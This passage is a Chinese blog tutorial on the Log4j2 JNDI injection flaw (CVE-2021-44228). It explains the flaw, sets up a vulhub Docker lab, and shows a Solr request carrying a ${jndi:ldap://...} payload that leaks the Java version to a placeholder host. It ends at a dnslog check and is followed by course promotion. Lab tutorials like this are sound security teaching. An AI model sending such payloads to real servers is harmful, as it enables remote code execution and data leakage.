Log4j2漏洞(一)原理和dnslog验证_log4j2漏洞原理

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞介绍
1.1、背景

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证, Apache Struts2、 Apache Solr、Apache Druid、 Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

1.2、漏洞原理

Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

因为Log4j2默认支持解析LDAP/RMI协议,会通过名称从LDAP服务端其获取对应的Class文件,并使用ClassLoader在本地加载LDAP服务端返回的Class类。 影响版本:Log4j2.x<=2.14.1。

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。

JNDI架构提供了一组标准的独立于命名系统的API,这些API构建在与命名系统有关的驱动之上。这一层有助于将应用与实际数据源分离,因此不管应用访问的是LDAP、RMI、DNS、还是其他的目录服务。换句话说,JNDI独立于目录服务的具体实现,只要有目录的服务提供接口(或驱动),就可以使用目录。

以上内容摘自《百度百科》

2、靶场环境
2.1、环境说明

由于后面的一个漏洞利用工具【JNDI-Injection-Exploit】在编译和攻击机的jdk版本要求一致,且版本有特定要求,否则在反弹shell时不成功,因此我都使用jdk1.8.0_191,jdk其他版本这个工具我尝试过很多次都失败了,只有jdk1.8.0_191才反弹shell成功。

环境准备请参考:《kali系统下多版本JDK共存》和《kali系统安装docker和部署vulhub服务》。

2.2、启动靶场
# 先切到对应目录
cd /home/kali/vulhub-master/log4j/CVE-2021-44228

# 开启靶场
docker-compose up -d

# 查看靶场启动情况
docker-compose ps

在这里插入图片描述

2.3、访问靶场

访问:http://your-ip:8983

在这里插入图片描述

3、确定注入点

查看/vulhub-master/log4j/CVE-2021-44228下的README文件看漏洞说明

# 查看命令
cat README.zh-cn.md

# 注入点
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}

在这里插入图片描述

4、dnslog验证

访问:https://dnslog.org/ ,获取子域名:83ddb152.dnslog.store

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
log4j2漏洞是指Apache Log4j2框架中存在的一个安全漏洞,该漏洞被称为"Log4Shell"或"CVE-2021-44228"。该漏洞原理是由于log4j2框架在处理日志消息时,会自动解析并执行包含特定JNDI注入代码的日志消息。这意味着攻击者可以通过构造恶意的日志消息,利用JNDI注入来执行任意的远程命令。具体来说,攻击者可以在日志消息中使用JNDI注入表达式,通过远程JNDI服务器加载恶意的类或执行任意的命令。 这个漏洞的危害非常严重,攻击者可以通过发送恶意的日志消息来远程执行任意代码,可能导致服务器被完全控制,数据泄露,或者其他恶意行为。该漏洞已经被广泛利用,并且已经影响了许多应用程序和系统。 需要注意的是,log4j2漏洞只存在于使用了受影响版本的log4j2框架的应用程序中。为了解决这个漏洞,建议开发人员升级到log4j2的安全版本,并采取其他安全措施,如配置安全策略、限制日志消息的内容等,以减少潜在的风险。 #### 引用[.reference_title] - *1* *3* [log4j2漏洞原理漏洞环境搭建复现](https://blog.csdn.net/dreamthe/article/details/123230283)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [一文读懂面试官都在问的Log4J2漏洞](https://blog.csdn.net/YangYubo091699/article/details/130087573)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值